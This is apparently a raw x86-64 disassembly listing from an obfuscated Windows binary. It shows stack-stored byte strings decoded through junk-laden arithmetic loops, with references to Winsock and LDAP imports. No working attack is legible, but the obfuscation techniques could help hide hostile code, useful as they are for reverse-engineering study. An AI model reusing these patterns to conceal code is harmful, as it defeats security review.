movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xc70]
add bl, r9b
add bl, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xc70], al
add r10, r13
add rax, r10
sub r11, rax
jmp 0x1401e0c08
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401e0bdd
movabs rcx, 0xb6eaacf105f23edc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x1401e0bb0
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e0b65
movabs rcx, 0x64ef1666e167d994
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add r10, r13
jmp 0x1401e0b87
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6c
sub r11, r13
jmp 0x1401e0c65
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r11
mov al, cl
and al, r9b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r11 + 0xc70], dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401e0c65
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x70
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1401e0c56
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0xc70]
add rax, r10
add r11, rax
add r11, r13
jmp 0x1401e02b3
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x1401e02aa
movabs rcx, 0x289fac1d7322f8a4
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x1401e0294
lea rdx, [rbp + 0x16a0e80]
jmp 0x1401e0cca
lea rdx, [rbp + 0x6bca0c]
jmp 0x1401e0cca
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0x3a0]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1860]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401e0cff
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r14d, 0x40
mov r9d, r14d
lea esi, [r14 - 0x3e]
mov r8d, esi
lea rcx, [rbp + 0x1860]
call fcn.140174580
nop
lea rcx, [rbp + 0x1860]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1860]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xaa0], 0x9b
mov byte [rbp + 0xaa1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xaa2], 0x90
mov byte [rbp + 0xaa3], 0xdb
mov byte [rbp + 0xaa4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xaa5], Ordinal_217
mov byte [rbp + 0xaa6], 0x7b
mov byte [rbp + 0xaa7], Ordinal_217
mov byte [rbp + 0xaa8], 0x43
mov byte [rbp + 0xaa9], Ordinal_211
mov byte [rbp + 0xaaa], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xaab], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaac], 0x5e
mov byte [rbp + 0xaad], Ordinal_211
mov byte [rbp + 0xaae], 0x5d
mov byte [rbp + 0xaaf], Ordinal_211
mov byte [rbp + 0xab0], WSASetLastError
mov byte [rbp + 0xab1], 0xc9
mov byte [rbp + 0xab2], 0x7a
mov byte [rbp + 0xab3], 0xcb
mov byte [rbp + 0xab4], Ordinal_79
mov byte [rbp + 0xab5], Ordinal_200
mov byte [rbp + 0xab6], 0x64
mov byte [rbp + 0xab7], Ordinal_200
mov byte [rbp + 0xab8], 0x54
mov byte [rbp + 0xab9], 0xc1
mov byte [rbp + 0xaba], 0x5b
mov byte [rbp + 0xabb], Ordinal_200
mov byte [rbp + 0xabc], 0x9f
mov byte [rbp + 0xabd], 0x3d
mov byte [rbp + 0xabe], 0x9a
mov byte [rbp + 0xabf], 0x3f
mov byte [rbp + 0xac0], 0x84
mov byte [rbp + 0xac1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xac2], 0xa8
mov byte [rbp + 0xac3], Ordinal_60
mov byte [rbp + 0xac4], 0xad
mov byte [rbp + 0xac5], gethostname
mov byte [rbp + 0xac6], 0xb8
mov byte [rbp + 0xac7], Ordinal_60
mov byte [rbp + 0xac8], 0xad
mov byte [rbp + 0xac9], Ordinal_50
mov byte [rbp + 0xaca], 0xa0
mov byte [rbp + 0xacb], gethostname
mov byte [rbp + 0xacc], 0xbf
mov byte [rbp + 0xacd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xace], 0x78
mov byte [rbp + 0xacf], Ordinal_50
mov byte [rbp + 0xad0], Ordinal_143
mov byte [rbp + 0xad1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xad2], 0xb3
mov byte [rbp + 0xad3], Ordinal_45
mov byte [rbp + 0xad4], 0xb2
mov byte [rbp + 0xad5], Ordinal_41
mov byte [rbp + 0xad6], Ordinal_41
mov byte [rbp + 0xad7], Ordinal_45
xor eax, eax
mov qword [rbp + 0xad8], rax
mov dword [rbp + 0xae0], eax
mov word [rbp + 0xae4], ax
mov byte [rbp + 0xae6], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x1401e19eb
movzx r8d, byte [rbp + r9 + 0xaa0]
mov rdx, r8
cmp rdi, r9
ja 0x1401e19e2
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401e0f4b
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x1401e0f82
je 0x1401e195e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e192e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e190b
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401e18bd
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401e19d9
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401e0fb5
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401e1178
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401e18ac
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e1889
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e183d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401e1817
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401e178c
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401e146e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e145a
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401e1438
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401e1426
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401e1405
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401e13f1
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401e13ce
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401e13ba
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401e19b6
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401e1990
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401e11a5
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401e117f
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401e115c
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401e12f1
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401e12d3
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401e12bf
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401e129e
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401e128a
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1401e1267
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1401e1244
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401e1220
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401e11fd
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401e11e9
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401e11c8
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401e1003
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401e1003
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401e0ff6
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e0f82
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x1401e0f13
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x1401e18dc
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1401e156f
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401e1929
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401e1859
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x1401e194c
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401e194f
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1401e179b
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x1401e1604
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x1401e14ac
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x1401e134e
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x1401e1766
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1401e152d
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x1401e1740
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1401e163b
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x1401e1733
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401e18de
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401e179b
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x1401e194f
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_45
jmp 0x1401e1826
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401e1859
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x1401e1898
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1401e1906
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x1401e18cc
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401e1494
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e1312
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e14c3
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e1979
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e14e0
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1401e179b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e150c
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401e194f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401e1312
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_45
jmp 0x1401e1898
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e1557
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x1401e18dc
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e1586
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e1906
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e15b2
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x1401e194c
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401e15dc
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401e17ab
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401e160b
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e17e1
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401e1350
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x1401e1979
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e1658
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401e14ac
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e1675
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401e179b
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401e1692
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401e1826
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e16bc
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x1401e1859
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401e16e8
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x1401e1929
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401e1705
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401e156f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401e1388
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401e18dc
mov byte [rbp + r9 + 0xaa0], bl
jmp 0x1401e1988
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xaa0]
sub bl, al
sub bl, 0x60
jmp 0x1401e123c
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xaa0]
jmp 0x1401e17a8
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xaa0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xaa0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401e1979
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e194c
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0xaa0], r8b
jmp 0x1401e194c
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e1929
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401e18cc
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xaa0], cl
add r10, r13
jmp 0x1401e1929
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r13
jmp 0x1401e1988
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401e1988
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xaa0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x1401e0f00
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e0efb
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401e0eeb
lea rdx, [rbp + 0x16f11d0]
jmp 0x1401e19f2
lea rdx, [rbp + 0x68a534]
jmp 0x1401e19f2
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x3c0]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1970]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401e1a27
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1970]
call fcn.140174580
nop
lea rcx, [rbp + 0x1970]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1970]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x7c0], 0xcb
mov byte [rbp + 0x7c1], Ordinal_143
mov byte [rbp + 0x7c2], 0xac
mov byte [rbp + 0x7c3], 0xf3
mov byte [rbp + 0x7c4], Ordinal_79
mov byte [rbp + 0x7c5], 0xf1
mov byte [rbp + 0x7c6], WSASetLastError
mov byte [rbp + 0x7c7], 0xf7
mov byte [rbp + 0x7c8], 0x55
mov byte [rbp + 0x7c9], 0xf5
mov byte [rbp + 0x7ca], 0xa2
mov byte [rbp + 0x7cb], 0xfb
mov byte [rbp + 0x7cc], 0x66
mov byte [rbp + 0x7cd], 0xf9
mov byte [rbp + 0x7ce], 0x55
mov byte [rbp + 0x7cf], 0xff
mov byte [rbp + 0x7d0], 0x59
mov byte [rbp + 0x7d1], 0xfd
mov byte [rbp + 0x7d2], WSACleanup
mov byte [rbp + 0x7d3], 0xe3
mov byte [rbp + 0x7d4], 0x47
mov byte [rbp + 0x7d5], 0xe1
mov byte [rbp + 0x7d6], Ordinal_79
mov byte [rbp + 0x7d7], 0xe7
mov byte [rbp + 0x7d8], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7d9], 0xe5
mov byte [rbp + 0x7da], 0x42
mov byte [rbp + 0x7db], 0xeb
mov byte [rbp + 0x7dc], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7dd], 0xe9
mov byte [rbp + 0x7de], r14b
mov byte [rbp + 0x7df], 0xef
mov byte [rbp + 0x7e0], 0xb8
mov byte [rbp + 0x7e1], 0xed
mov byte [rbp + 0x7e2], 0x87
mov byte [rbp + 0x7e3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7e4], 0x44
mov byte [rbp + 0x7e5], Ordinal_211
mov byte [rbp + 0x7e6], r14b
mov byte [rbp + 0x7e7], Ordinal_217
mov byte [rbp + 0x7e8], 0x81
mov byte [rbp + 0x7e9], Ordinal_217
mov byte [rbp + 0x7ea], 0x7e
mov byte [rbp + 0x7eb], 0xdb
mov byte [rbp + 0x7ec], 0x7c
mov byte [rbp + 0x7ed], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ee], WSACleanup
mov byte [rbp + 0x7ef], 0xdf
mov byte [rbp + 0x7f0], Ordinal_143
mov byte [rbp + 0x7f1], 0xdd
mov byte [rbp + 0x7f2], 0x64
mov byte [rbp + 0x7f3], Ordinal_200
mov byte [rbp + 0x7f4], WSAGetLastError
mov byte [rbp + 0x7f5], 0xc1
mov byte [rbp + 0x7f6], 0x54
mov byte [rbp + 0x7f7], Ordinal_200
mov byte [rbp + 0x7f8], Ordinal_200
mov byte [rbp + 0x7f9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7fa], eax
mov word [rbp + 0x7fe], ax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, r14
jae 0x1401e280f
movzx r9d, byte [rbp + r10 + 0x7c0]
mov r8, r9
cmp rdi, r10
ja 0x1401e2806
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401e1c69
movabs r15, 0xda32561d88143dbe
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x1401e1cad
je 0x1401e2779
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401e2720
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e26ca
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401e26a1
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401e2655
movabs r15, 0xda32561d88143dbe
cmp r11, r10
ja 0x1401e27fd
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x1401e1ce0
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x1401e1ef2
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401e2637
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401e2614
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e25e4
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e25c6
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401e2206
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401e21e4
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x1401e21be
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401e219b
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1401e2187
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401e2164
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1401e2141
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x1401e212d
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x1401e210a
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e20e4
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401e1d21
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x1401e27d7
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x1401e27b1
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x1401e1f1f
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401e1ef9
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x1401e1ed6
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401e20c0
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x1401e20ac
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401e208b
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x1401e205d
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401e1d21
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401e2049
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1401e2027
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401e2006
